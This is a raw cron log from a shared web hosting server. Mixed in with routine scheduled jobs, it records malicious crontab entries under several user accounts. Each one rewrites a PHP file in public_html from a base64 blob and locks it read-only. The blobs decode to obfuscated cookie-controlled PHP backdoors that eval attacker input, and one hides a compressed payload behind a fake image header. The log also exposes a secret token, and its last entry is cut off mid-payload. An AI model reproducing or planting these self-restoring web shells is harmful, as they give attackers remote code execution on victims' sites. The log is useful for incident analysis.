Mar  2 06:15:01 medusa CROND[27809]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:15:01 medusa CROND[27814]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:15:01 medusa CROND[27824]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:15:01 medusa CROND[27820]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:15:01 medusa CROND[27823]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:15:01 medusa CROND[27839]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Mar  2 06:15:01 medusa CROND[27842]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:15:01 medusa CROND[27843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:15:01 medusa CROND[27846]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:15:01 medusa CROND[27849]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:15:01 medusa CROND[27854]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:15:01 medusa CROND[27851]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:15:01 medusa CROND[27873]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:16:01 medusa CROND[9662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:16:01 medusa CROND[9901]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:16:01 medusa CROND[9902]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:16:01 medusa CROND[9905]: (root) CMD (/usr/bin/flock -n /var/run/xray_upd_metadata.cronlock /usr/sbin/cl-smart-advice update-advices-metadata &> /dev/null)
Mar  2 06:16:01 medusa CROND[9906]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:16:01 medusa CROND[9911]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:16:01 medusa CROND[9912]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:16:01 medusa CROND[9913]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:16:01 medusa CROND[9914]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:16:01 medusa CROND[9931]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:16:01 medusa CROND[9932]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:16:01 medusa CROND[9935]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:16:01 medusa CROND[9936]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:16:01 medusa CROND[9941]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:16:01 medusa CROND[9938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:17:01 medusa CROND[25093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:17:01 medusa CROND[25274]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:17:01 medusa CROND[25275]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7C